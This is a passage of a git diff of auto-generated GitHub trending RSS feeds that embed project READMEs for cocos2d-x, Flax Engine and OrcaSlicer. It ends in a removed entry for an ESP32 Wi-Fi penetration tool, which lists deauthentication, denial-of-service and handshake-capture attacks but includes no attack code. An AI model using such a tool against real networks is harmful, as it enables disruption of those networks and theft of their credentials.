href="https://github.com/timeplus-io/proton/raw/develop/BUILD.md">BUILD.md</a> to compile Proton in different platforms.</p> <p>We also encourage you to join the <code>#contributing</code> channel in the <a href="https://timeplus.com/slack">Timeplus Community Slack</a> to ask questions and meet other active contributors from Timeplus and beyond.</p> <h2>Need help?</h2> <p>Join the <a href="https://timeplus.com/slack">Timeplus Community Slack</a> to connect with Timeplus engineers and other Proton users.</p> <ul> <li>Use the <code>#proton</code> channel to ask questions about installing, using, or deploying Proton.</li> <li>Join the <code>#contributing</code> channel to connect with other contributors to Proton.</li> </ul> <p>For filing bugs, suggesting improvements, or requesting new features, see the <a href="https://github.com/timeplus-io/proton/issues">open issues</a> here on GitHub.</p> <h2>Licensing</h2> <p>Proton uses Apache License 2.0. See details in the <a href="https://github.com/timeplus-io/proton/raw/develop/LICENSE">LICENSE</a>.</p> \ No newline at end of file diff --git a/c++/weekly/index.xml b/c++/weekly/index.xml deleted file mode 100644 index dc01ac2a77f..00000000000 --- a/c++/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub C++ Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:47:18Z - Weekly Trending of C++ in GitHub - - - cocos2d/cocos2d-x - 2023-09-24T01:47:18Z - tag:github.com,2023-09-24:/cocos2d/cocos2d-x - - <p>Cocos2d-x is a suite of open-source, cross-platform, game-development tools utilized by millions of developers across the globe. Its core has evolved to serve as the foundation for Cocos Creator 1.x & 2.x.</p><hr><img src="http://www.cocos2d-x.org/attachments/801/cocos2dx_portrait.png" width="200"> <h1>cocos2d-x</h1> <table> <thead> <tr> <th>Win32</th> <th>Others</th> </tr> </thead> <tbody> <tr> <td><a href="https://ci.appveyor.com/project/minggo/cocos2d-x/branch/v4"><img src="https://ci.appveyor.com/api/projects/status/nlgirox464j6ldg5/branch/v4?svg=true" alt="Build status"></a></td> <td><a href="https://travis-ci.org/cocos2d/cocos2d-x"><img src="https://travis-ci.org/cocos2d/cocos2d-x.svg?branch=v4" alt="Build Status"></a></td> </tr> </tbody> </table> <p><a href="https://www.cocos.com/en/cocos2d-x" title="cocos2d-x">cocos2d-x</a> is a multi-platform framework for building 2d games, interactive books, demos and other graphical applications. It is based on <strong>cocos2d-iphone</strong>, but instead of using Objective-C, it uses C++. It works on iOS, Android, macOS, Windows and Linux.</p> <p><strong>Cocos2d-x Framework Architecture</strong>:</p> <p><img src="https://raw.githubusercontent.com/cocos2d/cocos2d-x/v4/docs/framework_architecture_v4.png" alt=""></p> <p>cocos2d-x is:</p> <ul> <li>Fast</li> <li>Free</li> <li>Easy to use</li> <li>Community supported</li> </ul> <h2>Git user attention</h2> <ol> <li> <p>Clone the repo from GitHub.</p> <pre><code> $ git clone https://github.com/cocos2d/cocos2d-x.git </code></pre> </li> <li> <p>After cloning the repo, please execute <code>download-deps.py</code> to download and install dependencies.</p> <pre><code> $ cd cocos2d-x cocos2d-x $ python download-deps.py </code></pre> </li> <li> <p>After running <code>download-deps.py</code>.</p> <pre><code> cocos2d-x $ git submodule update --init </code></pre> </li> </ol> <h2>Download stable versions</h2> <ul> <li><a href="https://cocos2d-x.org/download">Cocos2d-x stable versions</a></li> </ul> <h2>Documentations and samples</h2> <ul> <li><a href="http://docs.cocos2d-x.org/">All Docs in a single place!</a></li> <li><a href="http://docs.cocos2d-x.org/api-ref/index.html">Online API Reference</a> <em>Note that Cocos2d-x and Cocos Creator have different API set</em></li> <li><a href="https://docs.cocos2d-x.org/cocos2d-x/v4/en/basic_concepts/">Programmers Guide</a></li> <li><a href="https://github.com/cocos2d/cocos2d-x/raw/v4/docs/RELEASE_NOTES.md">Latest Release Note</a></li> <li><a href="https://github.com/cocos2d/cocos2d-x/raw/v4/CHANGELOG">Changelog</a></li> </ul> <h2>Main features</h2> <ul> <li>Scene management (workflow)</li> <li>Transitions between scenes</li> <li>Sprites and Sprite Sheets</li> <li>Effects: Lens, Ripple, Waves, Liquid, etc.</li> <li>Actions (behaviours): <ul> <li>Transformation Actions: Move, Rotate, Scale, Fade, Tint, etc.</li> <li>Composable actions: Sequence, Spawn, Repeat, Reverse</li> <li>Ease Actions: Exp, Sin, Cubic, Elastic, etc.</li> <li>Misc actions: CallFunc, OrbitCamera, Follow, Tween</li> </ul> </li> <li>Basic menus and buttons</li> <li>Integrated with physics engines: <a href="http://www.box2d.org" title="Box2D">Box2d</a> and <a href="http://www.chipmunk-physics.net" title="Chipmunk2D">Chipmunk</a></li> <li>Particle system</li> <li>Skeleton Animations: <a href="http://esotericsoftware.com/" title="http://esotericsoftware.com/">Spine</a> and Armature support</li> <li>Fonts: <ul> <li>Fast font rendering using Fixed and Variable width fonts</li> <li>Support for .ttf fonts</li> </ul> </li> <li>Tile Map support: Orthogonal, Isometric and Hexagonal</li> <li>Parallax scrolling</li> <li>Motion Streak</li> <li>Render To Texture</li> <li>Touch/Accelerometer on mobile devices</li> <li>Touch/Mouse/Keyboard on desktop</li> <li>Sound Engine support</li> <li>Integrated Slow motion/Fast forward</li> <li>Fast and compressed textures: PVR compressed and uncompressed textures, ETC1 compressed textures, and more</li> <li>Resolution Independent</li> <li>Language: C++, with Lua and JavaScript bindings</li> <li>Open Source Commercial Friendly(MIT): Compatible with open and closed source projects</li> <li>OpenGL ES 2.0 (mobile) / OpenGL 2.1 (desktop) / metal(macos and iOS) based</li> </ul> <h2>Build Requirements</h2> <ul> <li>Mac OS X 10.7+, Xcode 8+</li> <li>or Ubuntu 14.04+, CMake 3.1+</li> <li>or Windows 7+, VS 2015</li> <li>Python 2.7.5+(NOT Python 3)</li> <li>NDK r16+ is required to build Android games</li> <li>Android Studio 3.0.0+ to build Android games(tested with 3.0.0)</li> <li>JRE or JDK 1.6+ is required for web publishing</li> </ul> <h2>Runtime Requirements</h2> <ul> <li>iOS 8.0+ for iPhone / iPad games</li> <li>Android 3.0.0+ for Android</li> <li>OS X v10.9+ for Mac games</li> <li>Windows 7+ for Win games</li> </ul> <h2>Environment Setup</h2> <p>Should set up environment before starting a new game or running tests</p> <pre><code>$ cd cocos2d-x $ ./setup.py $ source FILE_TO_SAVE_SYSTEM_VARIABLE </code></pre> <p>Should invoke this script if using linux system</p> <pre><code>$ cd cocos2d-x $ ./install-linux-deps.sh </code></pre> <h2>Running Tests</h2> <pre><code>$ cd cocos2d-x $ mkdir build $ cd build $ cocos run --proj-dir .. -p [mac|win32|android|linux|ios] </code></pre> <h2>How to start a new game</h2> <pre><code>$ cd cocos2d-x $ ./setup.py $ source FILE_TO_SAVE_SYSTEM_VARIABLE $ cocos new MyGame -p com.your_company.mygame -l cpp -d NEW_PROJECTS_DIR $ cd NEW_PROJECTS_DIR/MyGame $ mkdir build $ cd build $ cocos run --proj-dir .. -p [mac|win32|android|linux|ios] </code></pre> <p>You can also create a Lua project with <code>-l lua</code>.</p> <h2>Using IDE</h2> <p>If need to debug program, then it is more convinent to use IDE to run and debug it. All platforms other than Android can use CMake to generate corresponding project file. Can refer to <a href="https://raw.githubusercontent.com/cocos2d/cocos2d-x/v4/cmake/README.md">Detail CMake Guide</a> for detail information.</p> <p>For Android, the Android Studio project file lies in <code>PROJECT_DIR/proj.android</code>. Can just use Android Studio to import the exsting project file.</p> <h2>Learning Resources</h2> <ul> <li><a href="https://docs.cocos2d-x.org/cocos2d-x/v4/en/basic_concepts/">Programmers Guide</a></li> <li><a href="https://developer.android.com/guide/components/fundamentals.html">Android Fundamentals</a></li> <li><a href="http://www.gamefromscratch.com/page/Cocos2d-x-CPP-Game-Programming-Tutorial-Series.aspx">Games From Scratch</a></li> <li><a href="https://github.com/MakeSchool?utf8=%E2%9C%93&amp;q=cocos2d&amp;type=&amp;language=">Make School Tutorials</a></li> </ul> <h2>Spreading the word!</h2> <p>You can help us spread the word about cocos2d-x! We would surely appreciate it!</p> <ul> <li>Twitter: <a href="https://twitter.com/CocosEngine">@CocosEngine</a></li> <li>Facebook: <a href="https://www.facebook.com/CocosEngine">https://www.facebook.com/CocosEngine</a></li> <li>YouTube: <a href="https://www.youtube.com/cocosengine">https://www.youtube.com/cocosengine</a></li> <li>Weibo: <a href="https://weibo.com/cocos2dx">@Cocos引擎</a></li> <li>bilibili: <a href="https://space.bilibili.com/491120849">https://space.bilibili.com/491120849</a></li> </ul> <h2>Where to get help</h2> <ul> <li><a href="https://discuss.cocos2d-x.org/c/cocos2d-x/21">English Forums</a></li> <li><a href="https://forum.cocos.org/c/cocos2d-x/16">中文社区</a></li> <li><a href="https://github.com/cocos2d/cocos2d-x/issues">Bug Tracker</a></li> <li><a href="http://docs.cocos2d-x.org/api-ref/index.html">API Reference</a>.</li> <li><a href="https://github.com/cocos2d/cocos2d-x/raw/v4/docs/RELEASE_NOTES.md">Latest Release Note</a></li> <li><a href="https://github.com/cocos2d/cocos2d-x/raw/v4/CHANGELOG">Changelog</a></li> <li><a href="https://discord.gg/pVqab4K">Discord Channel</a></li> <li><code>cpp-tests</code> project. This project is our basis for testing. Use this project to learn how we implement the functionality of the engine. This project is located in <strong>cocos2d-x_root/build.</strong></li> </ul> <h2>Contributing to the Project</h2> <p>Cocos2d-x is licensed under the <a href="https://opensource.org/licenses/MIT">MIT License</a>. We welcome participation!</p> <p>Did you find a bug? Do you have feature request? Do you want to merge a feature?</p> <ul> <li><a href="https://github.com/cocos2d/cocos2d-x/raw/v3/CONTRIBUTING.md">contributing to cocos2d-x</a></li> </ul> <h2>Embrace the Future: Switch to Cocos Creator for a Better Experience</h2> <p><a href="https://www.cocos.com/en/creator">Cocos Creator</a> is the new generation of Cocos game engine with a full featured editor and content creation friendly workflow. It supports all major platforms allowing games to be quickly released for the web, iOS, Android, Windows, Mac, and various mini-game platforms. Millions of developers have built 2D / 3D experiences, from hardcore games to web instant entertainment. A pure JavaScript-developed engine runtime is available on the web and mini-game platforms for better performance and smaller packages. On other native platforms, C++ is used to implement the underlying framework, providing greater operational efficiency. The engine is completely <a href="https://github.com/cocos/cocos-engine">open source</a>, and retains the advantages of Cocos2d-x which includes high performance, customizability, ease for debugging, easy to learn, and small package size.</p> <p>Therefore, we no longer recommend new users to start with Cocos2d-x. Instead, please use the brand-new <a href="https://www.cocos.com/en/creator">Cocos Creator</a> for project development to enjoy the best editor and 3D support.</p> - - - FlaxEngine/FlaxEngine - 2023-09-24T01:47:18Z - tag:github.com,2023-09-24:/FlaxEngine/FlaxEngine - - <p>Flax Engine – multi-platform 3D game engine</p><hr><img align="left" src="https://raw.githubusercontent.com/FlaxEngine/FlaxEngine/master/Development/Images/Logo.png" width="100px"> <h1>Flax Engine</h1> <a href="https://marketplace.visualstudio.com/items?itemName=Flax.FlaxVS"><img src="https://img.shields.io/badge/vs-extension-green.svg?sanitize=true"></a> <a href="https://flaxengine.com/discord"><img src="https://discordapp.com/api/guilds/437989205315158016/widget.png"></a> <p>Flax Engine is a high quality modern 3D game engine written in C++ and C#. From stunning graphics to powerful scripts - Flax can give everything for your games. Designed for fast workflow with many ready to use features waiting for you right now. To learn more see the website (<a href="https://flaxengine.com">www.flaxengine.com</a>).</p> <p>This repository contains full source code of the Flax Engine (excluding NDA-protected platforms support). Anyone is welcome to contribute or use the modified source in Flax-based games.</p> <h1>Development</h1> <ul> <li><a href="https://flaxengine.com">Homepage</a></li> <li><a href="https://flaxengine.com/blog">Dev Blog</a></li> <li><a href="https://docs.flaxengine.com">Documentation</a></li> <li><a href="https://forum.flaxengine.com">Forum</a></li> <li><a href="https://trello.com/b/NQjLXRCP/flax-roadmap">Roadmap</a></li> </ul> <h1>Screenshots</h1> <p><img src="https://raw.githubusercontent.com/FlaxEngine/FlaxEngine/master/Development/Images/flax-pic-2.jpg" alt="pbr-rendering" title="PBR Rendering and Global Illumination"> <img src="https://raw.githubusercontent.com/FlaxEngine/FlaxEngine/master/Development/Images/flax-pic-1.jpg" alt="rendering" title="Rendering"> <img src="https://raw.githubusercontent.com/FlaxEngine/FlaxEngine/master/Development/Images/flax-pic-3.jpg" alt="performance" title="High Performance"></p> <h1>Getting started</h1> <p>Follow the instructions below to compile and run the engine from source.</p> <h2>Windows</h2> <ul> <li>Install Visual Studio 2022 or newer</li> <li>Install Windows 8.1 SDK or newer (via Visual Studio Installer)</li> <li>Install Microsoft Visual C++ 2015 v140 toolset or newer (via Visual Studio Installer)</li> <li>Install .NET 7 SDK for <strong>Windows x64</strong> (via Visual Studio Installer or <a href="https://dotnet.microsoft.com/en-us/download/dotnet/7.0">from web</a>)</li> <li>Install Git with LFS</li> <li>Clone repo (with LFS)</li> <li>Run <strong>GenerateProjectFiles.bat</strong></li> <li>Open <code>Flax.sln</code> and set solution configuration to <strong>Editor.Development</strong> and solution platform to <strong>Win64</strong></li> <li>Set Flax (C++) or FlaxEngine (C#) as startup project</li> <li>Compile Flax project (hit F7 or CTRL+Shift+B)</li> <li>Optionally set Debug Type to <strong>Managed Only (.NET Core)</strong> to debug C#-only, or <strong>Mixed (.NET Core)</strong> to debug both C++ and C#</li> <li>Run Flax (hit F5 key)</li> </ul> <h2>Linux</h2> <ul> <li>Install Visual Studio Code</li> <li>Install .NET 7 SDK (<a href="https://dotnet.microsoft.com/en-us/download/dotnet/7.0">https://dotnet.microsoft.com/en-us/download/dotnet/7.0</a>) <ul> <li>Ubuntu: <code>sudo apt install dotnet-sdk-7.0</code></li> </ul> </li> <li>Install Vulkan SDK (<a href="https://vulkan.lunarg.com/">https://vulkan.lunarg.com/</a>) <ul> <li>Ubuntu: <code>sudo apt install vulkan-sdk</code></li> <li>Arch: <code>sudo pacman -S spirv-tools vulkan-headers vulkan-tools vulkan-validation-layers</code></li> </ul> </li> <li>Install Git with LFS <ul> <li>Ubuntu: <code>sudo apt-get install git git-lfs</code></li> <li>Arch: <code>sudo pacman -S git git-lfs</code></li> <li><code>git-lfs install</code></li> </ul> </li> <li>Install the required packages: <ul> <li>Ubuntu: <code>sudo apt-get install libx11-dev libxcursor-dev libxinerama-dev zlib1g-dev</code></li> <li>Arch: <code>sudo pacman -S base-devel libx11 libxcursor libxinerama zlib</code></li> </ul> </li> <li>Install Clang compiler (version 6 or later): <ul> <li>Ubuntu: <code>sudo apt-get install clang lldb lld</code></li> <li>Arch: <code>sudo pacman -S clang lldb lld</code></li> </ul> </li> <li>Clone the repository (with LFS)</li> <li>Run <code>./GenerateProjectFiles.sh</code></li> <li>Open workspace with Visual Code</li> <li>Build and run (configuration and task named <code>Flax|Editor.Linux.Development|x64</code>)</li> </ul> <h2>Mac</h2> <ul> <li>Install XCode</li> <li>Install .NET 7 SDK (<a href="https://dotnet.microsoft.com/en-us/download/dotnet/7.0">https://dotnet.microsoft.com/en-us/download/dotnet/7.0</a>)</li> <li>Install Vulkan SDK (<a href="https://vulkan.lunarg.com/">https://vulkan.lunarg.com/</a>)</li> <li>Clone repo (with LFS)</li> <li>Run <code>GenerateProjectFiles.command</code></li> <li>Open workspace with XCode or Visual Studio Code</li> <li>Build and run (configuration <code>Editor.Mac.Development</code>)</li> </ul> <h4>Troubleshooting</h4> <ul> <li><code>Could not execute because the specified command or file was not found.</code></li> </ul> <p>Restart PC - ensure DotNet is added to PATH for command line tools execution.</p> <ul> <li><code>Microsoft.NET.TargetFrameworkInference.targets(141,5): error NETSDK1045: The current .NET SDK does not support targeting .NET 7.0. Either target .NET 5.0 or lower, or use a version of the .NET SDK that supports .NET 7.0</code></li> </ul> <p>Use Visual Studio 2022, older versions are not supported by .NET SDK 7.</p> <ul> <li><code>Building for Windows without Vulkan rendering backend (Vulkan SDK is missing)</code></li> </ul> <p>Install the Vulkan SDK then set an environment variable to provide the path to the SDK prior to running GenerateProjectFiles.bat: <code>set VULKAN_SDK=%sdk_path%</code>.</p> <ul> <li><code>The NuGetSdkResolver did not resolve this SDK</code></li> </ul> <p>Install <code>.NET SDK</code>, <code>NuGet package manager</code> and <code>NuGet targets and build tasks</code> in Visual Studio components.</p> <h2>Workspace directory</h2> <ul> <li><strong>Binaries/</strong> - executable files <ul> <li><strong>Editor/</strong> - Flax Editor binaries</li> <li><strong>Tools/</strong> - tools binaries</li> </ul> </li> <li><strong>Cache/</strong> - local data cache folder used by the engine and tools <ul> <li><strong>Intermediate/</strong> - intermediate files and cache for engine build <ul> <li><strong><em>ProjectName</em>/</strong> - per-project build cache data</li> <li><strong>Deps/</strong> - Flax.Build dependencies building cache</li> </ul> </li> <li><strong>Projects/</strong> - project files location</li> </ul> </li> <li><strong>Content/</strong> - assets and binary files used by the engine and editor</li> <li><strong>Development/</strong> - engine development files <ul> <li><strong>Scripts/</strong> - utility scripts</li> </ul> </li> <li><strong>Source/</strong> - source code location <ul> <li><strong>Editor/</strong> - Flax Editor source code</li> <li><strong>Engine/</strong> - Flax Engine source code</li> <li><strong>Platforms/</strong> - per-platform sources and dependency files <ul> <li><strong>DotNet/</strong> - C# dependencies</li> <li><strong>Editor/</strong> - Flax Editor binaries</li> <li><strong><em>PlatformName</em>/</strong> - per-platform files <ul> <li><strong>Binaries/</strong> - per-platform binaries <ul> <li><strong>Game/</strong> - Flax Game binaries</li> <li><strong>ThirdParty/</strong> - prebuilt 3rd Party binaries</li> </ul> </li> </ul> </li> </ul> </li> <li><strong>Shaders/</strong> - shaders source code</li> <li><strong>ThirdParty/</strong> - 3rd Party source code</li> <li><strong>Tools/</strong> - development tools source code</li> </ul> </li> </ul> <h1>Licensing and Contributions</h1> <p>Using Flax source code is strictly governed by the Flax Engine End User License Agreement. If you don't agree to those terms, as amended from time to time, you are not permitted to access or use Flax Engine.</p> <p>We welcome any contributions to Flax Engine development through pull requests on GitHub. Most of our active development is in the master branch, so we prefer to take pull requests there (particularly for new features). We try to make sure that all new code adheres to the Flax coding standards. All contributions are governed by the terms of the <a href="https://flaxengine.com/licensing/">EULA</a>.</p> - - - SoftFever/OrcaSlicer - 2023-09-24T01:47:18Z - tag:github.com,2023-09-24:/SoftFever/OrcaSlicer - - <p>G-code generator for 3D printers (Bambu, Prusa, Voron, VzBot, RatRig, Creality, etc.)</p><hr><p><a href="https://github.com/SoftFever/OrcaSlicer/actions/workflows/build_orca.yml"><img src="https://github.com/SoftFever/OrcaSlicer/actions/workflows/build_orca.yml/badge.svg?branch=main" alt="Build OrcaSlicer"></a></p> <h1>Orca Slicer</h1> <p>Orca Slicer is an open source slicer for FDM printers.<br> You can download Orca Slicer here: <a href="https://github.com/SoftFever/OrcaSlicer/releases/">github releases page</a>.<br> <img src="https://github.com/SoftFever/OrcaSlicer/assets/103989404/b97d5ffc-072d-4d0a-bbda-e67ef373876f" alt="discord-mark-blue"> Join community: <a href="https://discord.gg/WTEkCR6SnV">OrcaSlicer Official Discord Server</a></p> <h1>Main features</h1> <ul> <li>Auto calibrations for all printers</li> <li>Sandwich(inner-outer-inner) mode - an improved version of the <code>External perimeters first</code> mode</li> <li>Precise wall</li> <li>Klipper support</li> <li>More granular controls</li> <li>More features can be found in <a href="https://github.com/SoftFever/OrcaSlicer/releases/">change notes</a></li> </ul> <h3>Some background</h3> <p>OrcaSlicer is fork of Bambu Studio<br> It was previously known as BambuStudio-SoftFever<br> Bambu Studio is forked from <a href="https://github.com/prusa3d/PrusaSlicer">PrusaSlicer</a> by Prusa Research, which is from <a href="https://github.com/Slic3r/Slic3r">Slic3r</a> by Alessandro Ranellucci and the RepRap community. Orca Slicer incorporates a lot of features from SuperSlicer by @supermerill Orca Slicer's logo is designed by community member Justin Levine(@freejstnalxndr)</p> <h1>How to install</h1> <p><strong>Windows</strong>:</p> <ol> <li>Install and run <ul> <li><em>If you have troubles to run the build, you might need to install following runtimes:</em> <ul> <li><a href="https://github.com/SoftFever/BambuStudio-SoftFever/releases/download/v1.0.10-sf2/MicrosoftEdgeWebView2RuntimeInstallerX64.exe">MicrosoftEdgeWebView2RuntimeInstallerX64</a></li> <li><a href="https://github.com/SoftFever/BambuStudio-SoftFever/releases/download/v1.0.10-sf2/vcredist2019_x64.exe">vcredist2019_x64</a></li> </ul> </li> </ul> </li> </ol> <p><strong>Mac</strong>:</p> <ol> <li> <p>Download the DMG for your computer: <code>arm64</code> version for Apple Silicon and <code>x86_64</code> for Intel CPU.</p> </li> <li> <p>Drag OrcaSlicer.app to Application folder.</p> </li> <li> <p><em>If you want to run a build from a PR, you also need following instructions bellow</em></p> <details quarantine> - Option 1 (You only need to do this once. After that the app can be oppened normally.): - Step 1: Hold _cmd_ and right click the app, from the context menu choose **Open**. - Step 2: A warning window will pop up, click _Open_ <ul> <li>Option 2:<br> Execute this command in terminal: <code>xattr -dr com.apple.quarantine /Applications/OrcaSlicer.app</code> <pre><code class="language-console"> softfever@mac:~$ xattr -dr com.apple.quarantine /Applications/OrcaSlicer.app </code></pre> </li> <li>Option 3: <ul> <li>Step 1: open the app, a warning window will pop up<br> <img src="https://raw.githubusercontent.com/SoftFever/OrcaSlicer/main/SoftFever_doc/mac_cant_open.png" alt="image"></li> <li>Step 2: in <code>System Settings</code> -&gt; <code>Privacy &amp; Security</code>, click <code>Open Anyway</code>:<br> <img src="https://raw.githubusercontent.com/SoftFever/OrcaSlicer/main/SoftFever_doc/mac_security_setting.png" alt="image"></li> </ul> </li> </ul> </details> </li> </ol> <p><strong>Linux(Ubuntu)</strong>:</p> <ol> <li>If you run into trouble to execute it, try this command in terminal:<br> <code>chmod +x /path_to_appimage/OrcaSlicer_ubu64.AppImage</code></li> </ol> <h1>How to compile</h1> <ul> <li> <p>Windows 64-bit</p> <ul> <li>Tools needed: Visual Studio 2019, Cmake, git, Strawberry Perl.</li> <li>Run <code>build_release.bat</code> in <code>x64 Native Tools Command Prompt for VS 2019</code></li> </ul> </li> <li> <p>Mac 64-bit</p> <ul> <li>Tools needed: Xcode, Cmake, git, gettext</li> <li>run <code>build_release_macos.sh</code></li> </ul> </li> <li> <p>Ubuntu</p> <ul> <li>run 'sudo ./BuildLinux.sh -u'</li> <li>run './BuildLinux.sh -dsir'</li> </ul> </li> </ul> <h1>Note:</h1> <p>If you're running Klipper, it's recommended to add the following configuration to your <code>printer.cfg</code> file.</p> <pre><code># Enable object exclusion [exclude_object] # Enable arcs support [gcode_arcs] resolution: 0.1 </code></pre> <h1>Supports</h1> <p><strong>Orca Slicer</strong> is an open-source project, and I'm deeply grateful to all my sponsors and backers.<br> Their generous support enables me to purchase filaments and other essential 3D printing materials for the project.<br> Thank you! :)</p> <h3>Sponsors:</h3> <a href="https://peopoly.net/"> <img src="SoftFever_doc\sponsor_logos\peopoly-standard-logo.png" alt="Peopoly" width="64" height=""> </a> <h3>Backers:</h3> <p><em>todo: extract ko-fi backers list</em></p> <p>Support me<br> <a href="https://ko-fi.com/G2G5IP3CP"><img src="https://ko-fi.com/img/githubbutton_sm.svg?sanitize=true" alt="ko-fi"></a></p> <h1>License</h1> <p>Orca Slicer is licensed under the GNU Affero General Public License, version 3. Orca Slicer is based on Bambu Studio by BambuLab.</p> <p>Bambu Studio is licensed under the GNU Affero General Public License, version 3. Bambu Studio is based on PrusaSlicer by PrusaResearch.</p> <p>PrusaSlicer is licensed under the GNU Affero General Public License, version 3. PrusaSlicer is owned by Prusa Research. PrusaSlicer is originally based on Slic3r by Alessandro Ranellucci.</p> <p>Slic3r is licensed under the GNU Affero General Public License, version 3. Slic3r was created by Alessandro Ranellucci with the help of many other contributors.</p> <p>The GNU Affero General Public License, version 3 ensures that if you use any part of this software in any way (even behind a web server), your software must be released under the same license.</p> <p>Orca Slicer includes a pressure advance calibration pattern test adapted from Andrew Ellis' generator, which is licensed under GNU General Public License, version 3. Ellis' generator is itself adapted from a generator developed by Sineos for Marlin, which is licensed under GNU General Public License, version 3.</p> <p>The bambu networking plugin is based on non-free libraries from Bambulab. It is optional to the Orca Slicer and provides extended functionalities for Bambulab printer users.</p> - - \ No newline at end of file diff --git a/c-objdump/daily/index.xml b/c-objdump/daily/index.xml index 039a7cd9266..9073c2620b6 100644 --- a/c-objdump/daily/index.xml +++ b/c-objdump/daily/index.xml @@ -1,7 +1,7 @@ GitHub C-ObjDump Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:27:38Z + 2023-09-25T01:25:57Z Daily Trending of C-ObjDump in GitHub \ No newline at end of file diff --git a/c-objdump/weekly/index.xml b/c-objdump/weekly/index.xml deleted file mode 100644 index 0e260882c86..00000000000 --- a/c-objdump/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub C-ObjDump Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:47:13Z - Weekly Trending of C-ObjDump in GitHub - - \ No newline at end of file diff --git a/c/daily/index.xml b/c/daily/index.xml index 90d0fd2047b..a5cfb12cf1a 100644 --- a/c/daily/index.xml +++ b/c/daily/index.xml @@ -1,14 +1,21 @@ GitHub C Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:27:28Z + 2023-09-25T01:25:44Z Daily Trending of C in GitHub - risinek/esp32-wifi-penetration-tool - 2023-09-24T01:27:28Z - tag:github.com,2023-09-24:/risinek/esp32-wifi-penetration-tool - - <p>Exploring possibilities of ESP32 platform to attack on nearby Wi-Fi networks.</p><hr><h1>ESP32 Wi-Fi Penetration Tool</h1> <p>This project introduces an universal tool for ESP32 platform for implementing various Wi-Fi attacks. It provides some common functionality that is commonly used in Wi-Fi attacks and makes implementing new attacks a bit simpler. It also includes Wi-Fi attacks itself like capturing PMKIDs from handshakes, or handshakes themselves by different methods like starting rogue duplicated AP or sending deauthentication frames directly, etc...</p> <p>Obviously cracking is not part of this project, as ESP32 is not sufficient to crack hashes in effective way. The rest can be done on this small, cheap, low-power SoC.</p> <p align="center"> <img src="https://raw.githubusercontent.com/risinek/esp32-wifi-penetration-tool/master/doc/images/logo.png" alt="Logo"> </p> <h2>Features</h2> <ul> <li><strong>PMKID capture</strong></li> <li><strong>WPA/WPA2 handshake capture</strong> and parsing</li> <li><strong>Deauthentication attacks</strong> using various methods</li> <li><strong>Denial of Service attacks</strong></li> <li>Formatting captured traffic into <strong>PCAP format</strong></li> <li>Parsing captured handshakes into <strong>HCCAPX file</strong> ready to be cracked by Hashcat</li> <li>Passive handshake sniffing</li> <li>Easily extensible framework for new attacks implementations</li> <li>Management AP for easy configuration on the go using smartphone for example</li> <li>And more...</li> </ul> <h3>Demo video</h3> <p><a href="https://www.youtube.com/watch?v=9I3BxRu86GE"><img src="https://img.youtube.com/vi/9I3BxRu86GE/0.jpg" alt="Demonstration Youtube video"></a></p> <h2>Usage</h2> <ol> <li> <p><a href="https://raw.githubusercontent.com/risinek/esp32-wifi-penetration-tool/master/#Build">Build</a> and <a href="https://raw.githubusercontent.com/risinek/esp32-wifi-penetration-tool/master/#Flash">flash</a> project onto ESP32 (DevKit or module)</p> </li> <li> <p>Power ESP32</p> </li> <li> <p>Management AP is started automatically after boot</p> </li> <li> <p>Connect to this AP<br> By default: <em>SSID:</em> <code>ManagementAP</code> and <em>password:</em> <code>mgmtadmin</code></p> </li> <li> <p>In browser open <code>192.168.4.1</code> and you should see a web client to configure and control tool like this:</p> <p><img src="https://raw.githubusercontent.com/risinek/esp32-wifi-penetration-tool/master/doc/images/ui-config.png" alt="Web client UI"></p> </li> </ol> <h2>Build</h2> <p>This project is currently developed using ESP-IDF 4.1 (commit <code>5ef1b390026270503634ac3ec9f1ec2e364e23b2</code>). It may be broken on newer version.</p> <p>Project can be built in the usual ESP-IDF way:</p> <pre><code class="language-shell">idf.py build </code></pre> <p>Legacy method using <code>make</code> is not supported by this project.</p> <h2>Flash</h2> <p>If you have setup ESP-IDF, the easiest way is to use <code>idf.py flash</code>.</p> <p>In case you don't want to setup whole ESP-IDF, you can use pre-build binaries included in <a href="https://raw.githubusercontent.com/risinek/esp32-wifi-penetration-tool/master/build/"><code>build/</code></a> and flash them using <a href="https://github.com/espressif/esptool"><code>esptool.py</code></a> (requires Python).</p> <p>Example command (follow instructions in <a href="https://github.com/espressif/esptool">esptool repo</a>):</p> <pre><code>esptool.py -p /dev/ttyS5 -b 115200 --after hard_reset write_flash --flash_mode dio --flash_freq 40m --flash_size detect 0x8000 build/partition_table/partition-table.bin 0x1000 build/bootloader/bootloader.bin 0x10000 build/esp32-wifi-penetration-tool.bin </code></pre> <p>On Windows you can use official <a href="https://www.espressif.com/en/support/download/other-tools">Flash Download Tool</a>.</p> <h2>Documentation</h2> <h3>Wi-Fi attacks</h3> <p>Attacks implementations in this project are described in <a href="https://raw.githubusercontent.com/risinek/esp32-wifi-penetration-tool/master/main/">main component README</a>. Theory behind these attacks is located in <a href="https://raw.githubusercontent.com/risinek/esp32-wifi-penetration-tool/master/doc/ATTACKS_THEORY.md">doc/ATTACKS_THEORY.md</a></p> <h3>API reference</h3> <p>This project uses Doxygen notation for documenting components API and implementation. Doxyfile is included so if you want to generate API reference, just run <code>doxygen</code> from root directory. It will generate HTML API reference into <code>doc/api/html</code>.</p> <h3>Components</h3> <p>This project consists of multiple components, that can be reused in other projects. Each component has it's own README with detailed description. Here comes brief description of components:</p> <ul> <li><a href="https://raw.githubusercontent.com/risinek/esp32-wifi-penetration-tool/master/main"><strong>Main</strong></a> component is entry point for this project. All neccessary initialisation steps are done here. Management AP is started and the control is handed to webserver.</li> <li><a href="https://raw.githubusercontent.com/risinek/esp32-wifi-penetration-tool/master/components/wifi_controller"><strong>Wifi Controller</strong></a> component wraps all Wi-Fi related operations. It's used to start AP, connect as STA, scan nearby APs etc.</li> <li><a href="https://raw.githubusercontent.com/risinek/esp32-wifi-penetration-tool/master/components/webserver"><strong>Webserver</strong></a> component provides web UI to configure attacks. It expects that AP is started and no additional security features like SSL encryption are enabled.</li> <li><a href="https://raw.githubusercontent.com/risinek/esp32-wifi-penetration-tool/master/components/wsl_bypasser"><strong>Wi-Fi Stack Libraries Bypasser</strong></a> component bypasses Wi-Fi Stack Libraries restriction to send some types of 